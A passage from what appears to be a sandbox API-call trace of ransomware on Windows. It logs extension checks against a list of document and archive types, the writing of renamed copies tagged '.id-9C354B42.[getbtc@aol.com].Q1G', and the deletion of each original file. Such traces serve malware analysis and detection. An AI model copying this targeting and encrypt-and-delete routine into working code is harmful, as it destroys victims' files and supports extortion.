Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 1 [0264.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.049] lstrlenW (lpString=".doc") returned 4 [0264.049] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.049] lstrlenW (lpString=".docx") returned 5 [0264.049] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0264.049] lstrlenW (lpString=".pdf") returned 4 [0264.049] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.049] lstrlenW (lpString=".xls") returned 4 [0264.049] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.049] lstrlenW (lpString=".xlsx") returned 5 [0264.049] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0264.049] lstrlenW (lpString=".ppt") returned 4 [0264.049] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.049] lstrlenW (lpString=".zip") returned 4 [0264.049] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.049] lstrlenW (lpString=".rar") returned 4 [0264.049] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.049] lstrlenW (lpString=".bz2") returned 4 [0264.049] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.049] lstrlenW (lpString=".7z") returned 3 [0264.049] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.049] lstrlenW (lpString=".dbf") returned 4 [0264.049] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.049] lstrlenW (lpString=".1cd") returned 4 [0264.049] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.050] lstrlenW (lpString=".jpg") returned 4 [0264.050] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.050] lstrlenW (lpString=".doc") returned 4 [0264.050] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.050] lstrlenW (lpString=".docx") returned 5 [0264.050] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0264.050] lstrlenW (lpString=".pdf") returned 4 [0264.050] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.050] lstrlenW (lpString=".xls") returned 4 [0264.050] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.050] lstrlenW (lpString=".xlsx") returned 5 [0264.050] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0264.050] lstrlenW (lpString=".ppt") returned 4 [0264.050] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.050] lstrlenW (lpString=".zip") returned 4 [0264.050] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.050] lstrlenW (lpString=".rar") returned 4 [0264.050] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.050] lstrlenW (lpString=".bz2") returned 4 [0264.050] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.050] lstrlenW (lpString=".7z") returned 3 [0264.050] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.050] lstrlenW (lpString=".dbf") returned 4 [0264.050] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.050] lstrlenW (lpString=".1cd") returned 4 [0264.050] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0264.050] lstrlenW (lpString=".jpg") returned 4 [0264.050] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.051] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.051] lstrlenW (lpString="J0178523.JPG") returned 12 [0264.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.052] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=24034) returned 1 [0264.052] CloseHandle (hObject=0x39c) returned 1 [0264.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 0x20 [0264.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.069] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.069] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.070] GetLastError () returned 0x0 [0264.070] ReadFile (in: hFile=0x3c4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5de2, lpOverlapped=0x0) returned 1 [0264.085] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5df0, lpOverlapped=0x0) returned 1 [0264.086] ReadFile (in: hFile=0x3c4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.086] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.086] SetEndOfFile (hFile=0x360) returned 1 [0264.086] CloseHandle (hObject=0x360) returned 1 [0264.086] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.086] SetEndOfFile (hFile=0x3c4) returned 1 [0264.088] CloseHandle (hObject=0x3c4) returned 1 [0264.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 1 [0264.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.641] lstrlenW (lpString=".doc") returned 4 [0264.641] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.641] lstrlenW (lpString=".docx") returned 5 [0264.641] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0264.641] lstrlenW (lpString=".pdf") returned 4 [0264.641] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.641] lstrlenW (lpString=".xls") returned 4 [0264.641] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.641] lstrlenW (lpString=".xlsx") returned 5 [0264.641] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0264.641] lstrlenW (lpString=".ppt") returned 4 [0264.641] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.641] lstrlenW (lpString=".zip") returned 4 [0264.641] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.641] lstrlenW (lpString=".rar") returned 4 [0264.641] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.641] lstrlenW (lpString=".bz2") returned 4 [0264.641] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.641] lstrlenW (lpString=".7z") returned 3 [0264.642] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.642] lstrlenW (lpString=".dbf") returned 4 [0264.642] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.642] lstrlenW (lpString=".1cd") returned 4 [0264.642] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.642] lstrlenW (lpString=".jpg") returned 4 [0264.642] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.642] lstrlenW (lpString=".doc") returned 4 [0264.642] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.642] lstrlenW (lpString=".docx") returned 5 [0264.642] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0264.642] lstrlenW (lpString=".pdf") returned 4 [0264.642] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.642] lstrlenW (lpString=".xls") returned 4 [0264.642] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.642] lstrlenW (lpString=".xlsx") returned 5 [0264.642] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0264.642] lstrlenW (lpString=".ppt") returned 4 [0264.642] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.642] lstrlenW (lpString=".zip") returned 4 [0264.642] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.642] lstrlenW (lpString=".rar") returned 4 [0264.642] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.642] lstrlenW (lpString=".bz2") returned 4 [0264.642] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.642] lstrlenW (lpString=".7z") returned 3 [0264.642] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.642] lstrlenW (lpString=".dbf") returned 4 [0264.642] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.643] lstrlenW (lpString=".1cd") returned 4 [0264.643] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0264.643] lstrlenW (lpString=".jpg") returned 4 [0264.643] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.643] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.643] lstrlenW (lpString="J0183574.WMF") returned 12 [0264.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.666] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=19274) returned 1 [0264.666] CloseHandle (hObject=0x1bc) returned 1 [0264.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 0x20 [0264.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.727] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.727] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.728] GetLastError () returned 0x0 [0264.728] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4b4a, lpOverlapped=0x0) returned 1 [0264.729] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4b50, lpOverlapped=0x0) returned 1 [0264.730] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.730] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.731] SetEndOfFile (hFile=0x39c) returned 1 [0264.731] CloseHandle (hObject=0x39c) returned 1 [0264.731] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.731] SetEndOfFile (hFile=0x3d8) returned 1 [0264.733] CloseHandle (hObject=0x3d8) returned 1 [0264.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 1 [0264.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.734] lstrlenW (lpString=".doc") returned 4 [0264.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.734] lstrlenW (lpString=".docx") returned 5 [0264.734] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.734] lstrlenW (lpString=".pdf") returned 4 [0264.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.734] lstrlenW (lpString=".xls") returned 4 [0264.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.734] lstrlenW (lpString=".xlsx") returned 5 [0264.734] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.734] lstrlenW (lpString=".ppt") returned 4 [0264.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.734] lstrlenW (lpString=".zip") returned 4 [0264.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.734] lstrlenW (lpString=".rar") returned 4 [0264.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.734] lstrlenW (lpString=".bz2") returned 4 [0264.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.734] lstrlenW (lpString=".7z") returned 3 [0264.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.734] lstrlenW (lpString=".dbf") returned 4 [0264.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.734] lstrlenW (lpString=".1cd") returned 4 [0264.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.734] lstrlenW (lpString=".jpg") returned 4 [0264.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.735] lstrlenW (lpString=".doc") returned 4 [0264.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString=".docx") returned 5 [0264.735] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.735] lstrlenW (lpString=".pdf") returned 4 [0264.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString=".xls") returned 4 [0264.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.735] lstrlenW (lpString=".xlsx") returned 5 [0264.735] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.735] lstrlenW (lpString=".ppt") returned 4 [0264.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.735] lstrlenW (lpString=".zip") returned 4 [0264.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.735] lstrlenW (lpString=".rar") returned 4 [0264.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString=".bz2") returned 4 [0264.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString=".7z") returned 3 [0264.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.735] lstrlenW (lpString=".dbf") returned 4 [0264.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.735] lstrlenW (lpString=".1cd") returned 4 [0264.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0264.735] lstrlenW (lpString=".jpg") returned 4 [0264.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.736] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.736] lstrlenW (lpString="J0185776.WMF") returned 12 [0264.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.736] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=27096) returned 1 [0264.736] CloseHandle (hObject=0x3d8) returned 1 [0264.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 0x20 [0264.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.737] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.737] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.737] GetLastError () returned 0x0 [0264.738] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x69d8, lpOverlapped=0x0) returned 1 [0264.739] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x69e0, lpOverlapped=0x0) returned 1 [0264.740] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.740] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.740] SetEndOfFile (hFile=0x39c) returned 1 [0264.741] CloseHandle (hObject=0x39c) returned 1 [0264.741] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.741] SetEndOfFile (hFile=0x3d8) returned 1 [0264.743] CloseHandle (hObject=0x3d8) returned 1 [0264.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 1 [0264.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.744] lstrlenW (lpString=".doc") returned 4 [0264.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.744] lstrlenW (lpString=".docx") returned 5 [0264.744] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.744] lstrlenW (lpString=".pdf") returned 4 [0264.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.744] lstrlenW (lpString=".xls") returned 4 